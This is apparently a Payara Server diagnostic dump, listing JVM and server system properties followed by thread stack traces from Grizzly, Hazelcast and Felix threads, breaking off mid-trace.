true +java.specification.name: Java Platform API Specification +simple.jacc.provider.JACCRoleMapper.class: com.sun.enterprise.security.web.integration.GlassfishRoleMapper +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +jdbc.drivers: org.h2.Driver +javax.net.ssl.trustStore: /opt/payara/appserver/glassfish/domains/domain1/config/cacerts.p12 +java.util.logging.config.file: /opt/payara/appserver/glassfish/domains/domain1/config/logging.properties +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 17.0.13+11-LTS +GlassFish_Platform: Felix +user.name: payara +AS_CONFIG: /opt/payara/appserver/glassfish/config/../config +felix.fileinstall.poll: 5000 +java.security.policy: /opt/payara/appserver/glassfish/domains/domain1/config/server.policy +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +file.encoding: UTF-8 +fish.payara.aas.h2Root: /opt/payara/appserver/h2db +com.sun.aas.imqLib: /opt/payara/appserver/mq/lib +java.vendor.version: Zulu17.54+21-CA +AS_IMQ_BIN: ../../mq/bin +java.io.tmpdir: /tmp +java.version: 17.0.13 +java.vm.specification.name: Java Virtual Machine Specification +com.sun.aas.instanceRoot: /opt/payara/appserver/glassfish/domains/domain1 +native.encoding: UTF-8 +java.library.path: /opt/payara/appserver/glassfish/lib:/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vendor: Azul Systems, Inc. +ANTLR_USE_DIRECT_CLASS_LOADING: true +java.specification.maintenance.version: 1 +java.rmi.server.randomIDs: true +sun.io.unicode.encoding: UnicodeLittle +AS_DEF_DOMAINS_PATH: /opt/payara/appserver/glassfish/config/../domains +felix.fileinstall.dir: /opt/payara/appserver/glassfish/modules/autostart/ +java.class.path: /opt/payara/appserver/glassfish/domains/domain1/lib/ext/*:/opt/payara/appserver/glassfish/modules/glassfish.jar +com.sun.aas.instanceRootURI: file:/opt/payara/appserver/glassfish/domains/domain1/ +jakarta.security.jacc.PolicyConfigurationFactory.provider: fish.payara.security.jacc.provider.PolicyConfigurationFactoryImpl +java.vm.vendor: Azul Systems, Inc. +org.glassfish.gmbal.no.multipleUpperBoundsException: true +user.timezone: GMT +java.vm.specification.version: 17 +os.name: Linux +AS_H2_INSTALL: /opt/payara/appserver/glassfish/config/../../h2db +sun.java.launcher: SUN_STANDARD +user.country: US +org.glassfish.grizzly.DEFAULT_MEMORY_MANAGER: org.glassfish.grizzly.memory.HeapMemoryManager +sun.cpu.endian: little +user.home: /opt/payara +user.language: en +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +felix.fileinstall.bundles.new.start: true +com.sun.aas.hostName: 3435bbff8b52 +AS_INSTALL: /opt/payara/appserver/glassfish/config/.. +javax.net.ssl.keyStorePassword: changeit +java.awt.headless: true +com.ctc.wstx.returnNullForDefaultNamespace: true +AS_DEF_NODES_PATH: ../nodes +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +com.sun.aas.instanceName: server +jdk.util.zip.disableZip64ExtraFieldValidation: true +javax.rmi.ssl.client.enabledProtocols: TLSv1.2,TLSv1.3 +org.glassfish.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +path.separator: : +os.version: 7.0.11-orbstack-00360-gc9bc4d96ac70 +com.sun.aas.installRootURI: file:/opt/payara/appserver/glassfish/ +java.runtime.name: OpenJDK Runtime Environment +osgi.shell.telnet.maxconn: 1 +felix.fileinstall.bundles.startTransient: true +AS_IMQ_LIB: ../../mq/lib +com.sun.aas.configRoot: /opt/payara/appserver/glassfish/config +com.sun.aas.imqBin: /opt/payara/appserver/mq/bin +java.vm.name: OpenJDK 64-Bit Server VM +com.sun.aas.javaRoot: /usr/lib/jvm/zulu17-ca-arm64 +javax.net.ssl.keyStore: /opt/payara/appserver/glassfish/domains/domain1/config/keystore.p12 +java.security.auth.login.config: /opt/payara/appserver/glassfish/domains/domain1/config/login.conf +felix.fileinstall.disableConfigSave: false +java.vendor.url.bug: http://www.azul.com/support/ +catalina.home: /opt/payara/appserver/glassfish/domains/domain1 +user.dir: /opt/payara +os.arch: aarch64 +javax.management.builder.initial: com.sun.enterprise.v3.admin.AppServerMBeanServerBuilder +osgi.shell.telnet.port: 6666 +catalina.base: /opt/payara/appserver/glassfish/domains/domain1 +java.util.logging.manager: fish.payara.logging.PayaraLogManager +com.sun.aas.agentRoot: /opt/payara/appserver/glassfish/nodes +glassfish.version: Payara Server 6.2024.12 #badassfish (build 26) +java.vm.info: mixed mode, sharing +java.vm.version: 17.0.13+11-LTS +com.sun.aas.domainsRoot: /opt/payara/appserver/glassfish/domains +java.class.version: 61.0 +org.glassfish.grizzly.nio.DefaultSelectorHandler.force-selector-spin-detection: true + +=========================================== + +ThreadStacks: +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #139 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessorAtomic.run(ContainerBase.java:1842) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"GF Domain XML" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2eadfb38 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@17.0.13/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:539) + at java.base@17.0.13/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hk2-asyncrunlevelcontext" #31 daemon [WAITING] on java.util.TaskQueue@5b98a034 + java.lang.Thread.State: WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at java.base@17.0.13/java.lang.Object.wait(Object.java:338) + at java.base@17.0.13/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@17.0.13/java.util.TimerThread.run(Timer.java:516) + +"EventAdminAsyncThread #10" #165 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@327c5ffa + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.partition-operation.thread-0" #46 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"payara-executor-service-task" #132 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65e40e03 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.IO.thread-out-0" #81 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.13/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.quizzical_elgamal.partition-operation.thread-9" #55 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"http-thread-pool::http-listener-1(4)" #97 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@2e036223 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue$Node.block(LinkedTransferQueue.java:470) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:669) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:616) + at java.base@17.0.13/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1286) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"GF Domain XML" #142 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5383efb + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.response-1" #45 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.doRun(InboundResponseHandlerSupplier.java:295) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.executeRun(InboundResponseHandlerSupplier.java:284) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.quizzical_elgamal.partition-operation.thread-4" #50 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"EventAdminAsyncThread #1" #153 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@327c5ffa + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web]]" #138 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessorAtomic.run(ContainerBase.java:1842) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Executor-Service-6" #125 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3df79151 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Executor-Service-5" #124 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3df79151 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"RunLevelControllerThread-1785653497149" #33 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@7c48f66 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:704) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"admin-listener-kernel(1) SelectorRunner" #110 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.13/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Scheduled Executor Service" #36 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1119b481 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Logging output pump" #39 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1a191b84 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:152) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:130) + +"RunLevelControllerThread-1785653497148" #32 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@7c48f66 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:704) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.cached.thread-1" #74 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@101d2eba + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"FelixResolver-4" #21 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@78e48c85 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5bcab58b + java.lang.Thread.State: WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at java.base@17.0.13/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.13/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.13/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"http-listener-1-expirer(1)" #99 daemon [TIMED_WAITING] on java.lang.Object@5bc58310 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"FelixResolver-8" #27 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@78e48c85 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.cached.thread-2" #76 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@101d2eba + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"ContainerBackgroundSessionProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #140 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at 